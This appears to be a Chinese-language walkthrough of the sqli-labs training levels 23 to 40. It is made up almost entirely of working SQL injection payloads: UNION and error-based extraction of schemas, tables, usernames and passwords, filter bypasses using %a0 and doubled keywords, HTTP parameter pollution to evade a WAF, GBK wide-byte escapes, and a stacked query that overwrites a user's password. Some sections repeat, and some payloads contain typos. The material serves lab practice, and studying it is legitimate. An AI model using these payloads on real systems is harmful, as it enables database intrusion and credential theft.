less-23——过滤注释的GET型注入

字段名

?id=0' union select 1,2,3 '  出现的数字是最大的字段为3

数据库名

?id=0' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) ' 

表名

?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = database()) '

列名

?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') '

数据

?id=0' union select 1,2,(select group_concat(username) from users) '

less-24-二次注入

首先先创建一个用户 注意找new user
然后输入数据

username=admin'#
passwd=123

然后会显示成功
然后再登录进去修改密码修改成123456则原来admin用户的密码得到了改变

less-25-过滤[or,and]

注入点[']
数据库名

?id=0' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ 单个数据库
?id=0' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e)) --+ 多个数据库

表名

?id=0' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e)) --+

列名

?id=0' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e)) --+

数据

?id=0' || extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) --+

less-25a-过滤[or,and]

判断数据字段

?id=0 union select 1,2,3   password显示的是最大字段

数据库名

?id=0 union select 1,2,(select group_concat(schema_name) from infoorrmation_schema.schemata)

表名

?id=0 union select 1,2,(select group_cocat(table_name) from infoorrmation_schema.tables where table_schema=database())

列名

?id=0 union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')

数据

?id=0 union select1,2,(select group_concat(username) from users)

less-26-Trick with comments and space (过滤了注释和空格的注入)

单引号没有被过滤,我们使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入
判断什么类型

?id=0' || 1=1 和 ?id=0' || 1=2 回显错误
然后 ?id=0' || '1'='2回显错误
最后 ?id=0' || '1'='1回显正确

数据库名

此时我们可以使用 updatexml() 报错注入,因为这种手法不需要考虑空格的问题。爆数据库名。
多条数据库:?id=0' || updatexml(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata))),1) || '1'='1
单条数据库:?id=0' || updatexml(1,concat(0x7e,database()),1) || '1'='1

表名

?id=0' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database()),0x7e)) || '1'='1

列名

?id=0' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))),1) || '1'='1

数据

?id=0' || updatexml(1,concat(0x7e,(select (group_concat(username)) from (users))),1) || '1'='1

Less 26a-GET-Blind Based-All your SPACES and COMMENTS belong to us (过滤了空格和注释的盲注)
由于报错信息不回显,所以 updatexml() 报错注入不能使用。此处就需要使用 URL 编码来代替空格,然后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。

判断注入类型

注入正常的参数,网页返回对应 id 的正常信息,注入两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入

?id=1 和 ?id=1'' 回显正确

尝试构造左右半边的空格来闭合,网页回显正常,说明参数有使用单层括号来闭合。

?id=1') || ('1

判断数据字段

?id=0')%a0oorrder%a0by%a03||('1

数据库

?id=0')%a0union%a0select%a01,database(),3%a0||('1

表名

?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()||('1

列名

?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'||('1

数据

?id=0')%a0UNION%a0SELECT%a01,group_concat(concat_ws(":",username,passwoORrd)),3%a0FROM%a0users%a0WHERE%a0('1

#Less-27 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
注入点【 ’ 】
检测是什么注入

测试?id=1 and 1=1 和 ?id=1 and 1=2回显相同且回显正确说明不是数字型注入
测试?id=1' and '1'='1 和 ?id=1' and '1'='2回显不同说明是字符型注入

检测字段

?id=1'%a0unIon%a0seLect%a01,2,3'

表名

?id='%a0unIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0||'1

列名

?id='%a0unIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0||'1

数据

?id=0'%a0unIon%a0SeLect%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where%a0'1

#Less-27a 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
注入点【 " 】
查询字段
Your Password:3这个显示的就是最大字段为3

?id="%a0unIon%a0SelECT%a01,2,3" 

查询数据库名

?id="%a0unIon%a0SelEct%a01,database(),3"

查询表名

?id="%a0UnIon%a0SelEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()||"

查询列名

?id="%a0UnIOn%a0SelEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'||"

查询数据

?id=0"%a0unIon%a0SeLect%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where%a0"1

Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】

注入点【 ') 】
检测是什么类型

?id=1')and('1')=('1回显正常
?id=1')and('1')=('2回显错误
说明就是')类型

查询数据库名称

?id=0')union%a0select%a01,database(),('

查询表

?id=')union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()||('1

查询列名

?id=')union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'||('

查询数据

?id=')union%a0select%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where('1

Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】

注入点【 ') 】
判断是什么类型

?id=1') and ('1')=('2    回显错误
?id=1') and ('1')=('1    回显正确

查数据库

?id=0')%a0union%a0select%a01,database(),3%a0||('

查表名

?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0||('

查列名

?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0||('

查数据

?id=')union%a0select%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where('

Less-29

知识点:
​ 1.服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。

问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数? 答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。

而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。

而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1–+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。

该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

​ —-来源MySQL注入天书之服务器两层架构

Payload:
​ 1.在开始前选择login.php文件,否则与第一关一样了

login.php?id=1&id=-1’ union select 1,database(),3 –+ ,然后逐步注入。

Less-30

​ 1.id的包裹变为 “ 其他与上一关一样。

login.php?id=1&id=-1” union select 1,database(),3 –+

Less-31

​ 2.id的包裹变为 “) 其他与上一关一样。

login.php?id=1&id=-1") union select 1,database(),3 –+    

Less-32

​ 1.宽字节注入。

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);   //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);//escape double quote with a backslash


return $string;
}

对 /, ‘, “ 进行了过滤。

​ 通常,一个GBK编码汉字,占用2个字节。

​ mysql在使用GBK编码时,会认为两个字符为一个汉字。例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。

​ 在%5c%27前添加%df构成%df%5c%27 (%5c : \的编码,%27:’的编码),mysql在GBK编码时,会将两个字节(%df%5c)当作一个汉字,从而将\去除。 (也可以使用 %bf, %81,%82等)

Payload:

​ 1.?id=1%df’ ,得到语法错误提示 id为 ‘ 包裹。

​ 2.?id=1%df’ order by x –+ (x=1,2,3,4) 判断字段。

​ 3.?id=0%df’ union select 1,2,3 –+ ,看回显位置。然后同之前步骤解决。

​ 4.查询列名时采用16进制绕过’‘需求,将 users 转换为16进制,其他照常。
?id=0%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

Less-33

​ addslashes()函数,addslashes(string)返回在预定义字符之前家反斜杠\字符串:
单引号 ’
双引号 “
反斜杠
空字符 null

注入和上一关一样。

Less-34

所以需要对%df进行优先解码,%df解码后为 �,所以闭合符号为 �'

uname=123�' union select 1,2#&passwd=admin&submit=Submit 检测出字段为2
uname=123�' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(username) from users#&passwd=admin&submit=Submit

Less-35

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
?id=-1 union select 1,group_concat(username),3 from users

Less-36

?id=-1%df' union select 1,2,group_concat(username) from users --+
?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1%df' union select 1,2,group_concat(username,password) from users --+

Less-37

所以需要对%df进行优先解码,%df解码后为 �,所以闭合符号为 �'

uname=123�' union select 1,2#&passwd=admin&submit=Submit 检测出字段为2
uname=123�' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(username) from users#&passwd=admin&submit=Submit

Less-38

堆叠注入:

  • 介绍与原理:
    ​ 可以理解为多条SQL语句一起使用。(MySQL的多语句查询)在SQL中,分号(😉 是语句结束的标志,我们可以在一条语句的后方加上; 继续构造下一语句。

​ 堆叠语句与union联合注入区别为:union执行的语句类型是有限的,而堆叠注入可以执行任意语句。

​ 堆叠注入之前要知道数据库的一些相关信息,如:表名,列名等信息。 因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或结果只能被忽略,我们在前端界面无法看到返回结果。

使用条件

mysql_multi_query() 执行多条查询的函数–防止注入改为mysql_query()函数。(mysql_query()函数执行一条MySQL查询)

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

Payload:

1.?id=-1’ union select 1,database(),3 –+ ,正常查询出表名,列名,用户名,密码。
2.?id=1’;update users set password=’123’ where username=’Dumb’; –+ ,采用堆叠注入,查询的同时修改了Dumb的密码为:123,后查询发现成功修改。

检测类型

?id=1 and 1=1 和 ?id=1 and 1=2回显一样
?id=1' and '1'='1回显正常 但是?id=1' and '1'='2回显错误
说明是字符型注入

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,version() --+
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(concat_ws(":",username,password)) from users --+

Less-39

​ 1.判断为数字型注入。
​ 2.正常注入得到表名等。
​ 3.同38,堆叠注入,还是与38同。(改为数字型)
判断什么类型

?id=1 and 1=1 回显正确
?id=1 and 1=2 回显错误
所以是数字型
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(concat_ws(":",username,password)) from users --+

Less-40

判断什么类型,闭合符号为(' ')

?id=1') and ('1')=('1回显正确
?id=1') and ('1')=('2回显错误
?id=1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1') union select 1,2,group_concat(concat_ws(":",username,password)) from users --+